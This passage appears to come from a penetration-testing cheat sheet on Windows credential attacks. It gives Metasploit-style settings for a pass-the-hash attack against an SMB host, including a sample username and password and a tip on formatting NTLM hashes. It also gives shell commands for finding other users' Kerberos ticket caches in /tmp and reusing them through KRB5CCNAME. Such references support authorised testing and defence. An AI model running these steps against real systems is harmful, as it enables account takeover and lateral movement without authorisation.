The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that werent the built-in RID 500.

set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)

### CCACHE ticket reuse from /tmp
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
```powershell
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115
$ export KRB5CCNAME=/tmp/krb5cc_1569901115
